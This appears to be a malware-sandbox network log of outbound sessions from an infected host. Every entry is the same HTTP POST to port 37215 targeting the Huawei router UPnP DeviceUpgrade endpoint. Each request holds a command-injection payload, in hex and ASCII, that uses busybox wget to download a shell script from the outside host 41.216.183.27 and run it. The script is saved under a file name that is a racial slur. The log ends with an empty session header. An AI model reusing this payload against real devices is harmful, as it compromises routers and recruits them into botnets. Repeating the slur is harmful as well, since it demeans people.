Feb 19, 2024 18:37:13.574075937 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:17.317485094 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:24.740406990 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:39.586369991 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
154	192.168.2.23	55700	45.115.241.14	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:10.164519072 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:11.782202959 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:13.669938087 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:17.573443890 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:25.252341032 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
155	192.168.2.23	47658	45.126.78.136	37215

Timestamp	Bytes transferred	Direction	Data
